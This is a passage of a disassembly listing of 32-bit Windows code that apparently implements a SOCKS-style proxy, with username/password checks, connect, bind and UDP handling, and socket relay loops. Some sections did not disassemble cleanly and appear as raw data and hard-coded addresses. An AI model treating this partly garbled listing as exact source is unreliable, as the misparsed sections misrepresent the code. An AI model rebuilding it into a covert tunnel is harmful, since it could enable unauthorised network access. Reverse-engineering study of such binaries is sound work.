		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A68F
		dec	eax
		jz	short loc_42A63A
		dec	eax
		jnz	loc_42A782
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A63A:				; CODE XREF: sub_42A5F0+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A782
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A6AB
; ---------------------------------------------------------------------------


loc_42A68F:				; CODE XREF: sub_42A5F0+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A6AB:				; CODE XREF: sub_42A5F0+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A782
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A782
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A782


loc_42A709:				; CODE XREF: sub_42A5F0+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A766
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A709


loc_42A766:				; CODE XREF: sub_42A5F0+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A782:				; CODE XREF: sub_42A5F0+35j
					; sub_42A5F0+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A810	proc near		; CODE XREF: sub_42B2D0:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AACA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42ABE6
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AC73
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 44534468h, 7BE85600h
		dd 90716899h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AACA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42A9DB:				; CODE XREF: sub_42A810+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42A9FF
		test	al, al
		jz	short loc_42A9FB
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42A9FF
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42A9DB


loc_42A9FB:				; CODE XREF: sub_42A810+1D5j
		xor	eax, eax
		jmp	short loc_42AA04
; ---------------------------------------------------------------------------


loc_42A9FF:				; CODE XREF: sub_42A810+1D1j
					; sub_42A810+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA04:				; CODE XREF: sub_42A810+1EDj
		test	eax, eax
		jz	short loc_42AA61
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AA1E:				; CODE XREF: sub_42A810+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AA42
		test	cl, cl
		jz	short loc_42AA3E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AA42
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AA1E


loc_42AA3E:				; CODE XREF: sub_42A810+218j
		xor	eax, eax
		jmp	short loc_42AA47
; ---------------------------------------------------------------------------


loc_42AA42:				; CODE XREF: sub_42A810+214j
					; sub_42A810+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA47:				; CODE XREF: sub_42A810+230j
		test	eax, eax
		jz	short loc_42AA61
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AA61:				; CODE XREF: sub_42A810+1F6j
					; sub_42A810+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_445340
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AACA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42AB31
		sub	eax, 2
		jz	short loc_42AAD9
		dec	eax


loc_42AAC8:				; CODE XREF: sub_42A810+31Fj
		jnz	short loc_42AB40


loc_42AACA:				; CODE XREF: sub_42A810+32j
					; sub_42A810+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAD9:				; CODE XREF: sub_42A810+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AAC8
; ---------------------------------------------------------------------------


loc_42AB31:				; CODE XREF: sub_42A810+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42AB40:				; CODE XREF: sub_42A810:loc_42AAC8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AACA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	loc_42AACA
		push	eax
		push	4
		push	offset dword_445338
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42ABE6:				; CODE XREF: sub_42A810+47j
		cmp	ax, 2
		jnz	loc_42AC73
		mov	ebx, dword_50FC80


loc_42ABF6:				; CODE XREF: sub_42A810+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		nop
		call	near ptr 71AB2D0Fh
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AC73
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AC73
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42ABF6


loc_42AC73:				; CODE XREF: sub_42A810+67j
					; sub_42A810+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A810	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42ADB0	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42ADC4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADC4:				; CODE XREF: sub_42ADB0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42ADD6
		dec	eax
		jz	short loc_42ADF8
		mov	word ptr [esi+6], 1


loc_42ADD6:				; CODE XREF: sub_42ADB0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42ADE0:				; CODE XREF: sub_42ADB0+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE04
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42ADF8:				; CODE XREF: sub_42ADB0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42ADE0
; ---------------------------------------------------------------------------


loc_42AE04:				; CODE XREF: sub_42ADB0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AE49
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE49:				; CODE XREF: sub_42ADB0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AE71
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_42AE71
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE71:				; CODE XREF: sub_42ADB0+9Ej
					; sub_42ADB0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42ADB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AEC0	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AEC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AF5A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AF41
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AF26


loc_42AF12:				; CODE XREF: sub_42AEC0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AF12


loc_42AF26:				; CODE XREF: sub_42AEC0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	near ptr 71AB9639h
		nop
		test	bl, bl
		jnz	short loc_42AF7A


loc_42AF41:				; CODE XREF: sub_42AEC0+39j
					; sub_42AEC0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AF54:				; DATA XREF: ___:00441F74o
		mov	eax, offset loc_42AF41
		retn
; ---------------------------------------------------------------------------


loc_42AF5A:				; CODE XREF: sub_42AEC0+2Bj
		cmp	ax, 2
		jnz	short loc_42AF41
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AF41


loc_42AF7A:				; CODE XREF: sub_42AEC0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AEC0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42AFD0:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BB90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B019:				; DATA XREF: ___:loc_42B031o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B031:				; DATA XREF: ___:00441FD4o
		mov	eax, offset loc_42B019
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B060	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B060
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42B0D7


loc_42B097:				; CODE XREF: ___:0042B166j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B0D7:				; CODE XREF: sub_42B060+35j
		push	42h
		call	sub_4367FA
sub_42B060	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B0FC
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B0FE
; ---------------------------------------------------------------------------


loc_42B0FC:				; CODE XREF: ___:0042B0EFj
		xor	eax, eax


loc_42B0FE:				; CODE XREF: ___:0042B0FAj
		mov	dword_50E3D8, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E3D8
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E3D8
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B097


loc_42B16C:				; CODE XREF: ___:0042B17Dj
		mov	eax, dword_50E3D8
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B1D0	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B1F2
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B1F2:				; CODE XREF: sub_42B1D0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B1D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B240	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B240	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B2E0:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BC08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B350	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B368
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B368:				; CODE XREF: sub_42B350+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B350	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B380	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B380	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3A0	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B42C
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B3CC:				; CODE XREF: sub_42B3A0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B42C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B42C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B3CC


loc_42B42C:				; CODE XREF: sub_42B3A0+1Ej
					; sub_42B3A0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B448
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B448:				; CODE XREF: sub_42B3A0+9Fj
		add	esp, 1000h
		retn
sub_42B3A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B480	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B480
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D80
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B480	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4F0	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B508
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B508:				; CODE XREF: sub_42B4F0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B4F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B520	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B520	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
